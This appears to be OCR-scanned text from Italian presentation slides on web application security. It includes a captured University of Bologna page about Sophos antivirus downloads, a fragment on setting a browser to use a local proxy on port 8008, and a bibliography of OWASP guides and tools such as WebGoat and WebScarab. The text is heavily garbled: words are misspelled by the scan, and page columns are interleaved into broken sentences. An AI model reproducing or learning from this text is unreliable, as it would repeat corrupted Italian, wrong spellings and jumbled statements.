1l punto di aceesso diretto al

materisle scaricabile Attivazione del servizio di Antivirus Canferenza Nazionale
Continua Anche per la Facolta di Ingegneria ¢ disponibile Sophos: il Sulla Politics Enerastica in
Software di Antivirus scelto dall Ateneo di Bologna. €' possibile | ltalia

Scaricare il software utilzzando username e password ricevuti

Universita nel mondo Tutti gl eventi
er la posta di Ateneo,

Raggiungi i sit di tutt gl Contion

Atenei ftaliani  stranieri. UNIBO~, o

Web Browser:

Set to use a local proxy on
port 8008

Client
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Questions?
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Bibliografia e sitoqgrafia :

— OWASP Foundation A Guide to Building Secure Web Applications.
2002 - “http://www.owasp.org/documentation/guide/guide_downloads.html”

— OWASP Foundation OWASP Web Application Penetration
Checklist. 2004 - http://www.owasp.org/documentation/testing.html

— OWASP Foundation The Ten Most Critical Web Application
Security Vulnerabilities. 2004 — traduzione in italiano:
“http://www.owasp.org/international/ita.html”

— OWASP Foundation Software:

« WebGoat — “http://www.owasp.org/software/webgoat.html”

« WebScarab — “http://www.owasp.org/software/webscarab.html”

« Stinger — http://www.owasp.org/software/validation/stinger.html
— OWASP-ltaly:

* http://www.owasp.org/local/italy.html
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